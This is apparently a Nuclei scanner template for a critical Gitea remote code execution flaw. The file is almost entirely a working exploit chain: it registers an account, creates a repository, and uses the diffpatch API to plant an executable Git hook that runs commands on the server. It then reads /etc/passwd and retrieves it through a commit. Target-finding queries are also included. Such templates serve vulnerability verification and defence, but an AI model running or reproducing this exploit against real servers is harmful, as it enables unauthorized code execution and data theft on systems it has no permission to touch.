id: CVE-2026-60004 info: name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution author: 0x_Akoko severity: critical description: | Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access. impact: | Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories. remediation: | Update to Gitea version 1.27.1 or later. reference: - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m - https://github.com/EQSTLab/CVE-2026-60004 - https://nvd.nist.gov/vuln/detail/CVE-2026-60004 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-60004 epss-score: 0.86777 epss-percentile: 0.9973 cwe-id: CWE-94 metadata: max-request: 9 verified: true vendor: go-gitea product: gitea shodan-query: "Gitea" fofa-query: app="Gitea" tags: cve,cve2026,gitea,rce,intrusive,kev,vkev variables: ruser: "testpoc{{rand_int(10000,99999)}}" rpass: "T3stP0c!{{rand_int(10000,99999)}}" remail: "testpoc{{rand_int(10000,99999)}}@test.local" rrepo: "poc-{{rand_int(10000,99999)}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) http: - raw: - | GET /user/sign_up HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "user_name") || contains(body, "sign_up")' condition: and internal: true extractors: - type: regex name: csrf part: body group: 1 regex: - 'name="_csrf"\s+content="([^"]+)"' - 'name="_csrf"\s+value="([^"]+)"' internal: true - raw: - | POST /user/sign_up HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}} redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200 || status_code == 302 || status_code == 303' internal: true - raw: - | POST /api/v1/user/repos HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json Authorization: Basic {{base64(ruser + ":" + rpass)}} {"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"} matchers: - type: dsl dsl: - 'status_code == 201' internal: true - raw: - | GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1 Host: {{Hostname}} Accept: application/json Authorization: Basic {{base64(ruser + ":" + rpass)}} matchers: - type: dsl dsl: - 'status_code == 200' - 'len(branch_sha) > 0' condition: and internal: true extractors: - type: json name: branch_sha json: - '.commit.id' internal: true - raw: - | POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json Authorization: Basic {{base64(ruser + ":" + rpass)}} {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"} matchers: - type: dsl dsl: - 'status_code == 201' - 'len(commit_sha1) > 0' condition: and internal: true extractors: - type: json name: commit_sha1 json: - '.commit.sha' internal: true - raw: - | POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json Authorization: Basic {{base64(ruser + ":" + rpass)}} {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"} matchers: - type: dsl dsl: - 'status_code == 201' internal: true - raw: - | GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(ruser + ":" + rpass)}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "root:")' condition: and extractors: - type: dsl dsl: - '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body' # digest: 4a0a004730450220626e2f0e3199b8380d7368330f6481ffbeb88752eeb8556609d770c640078efd022100f185801672556adf6773cf427cbfdfc989ae9f841e97be89457529cde5e727e8:922c64590222798bb761d5b6d8e72950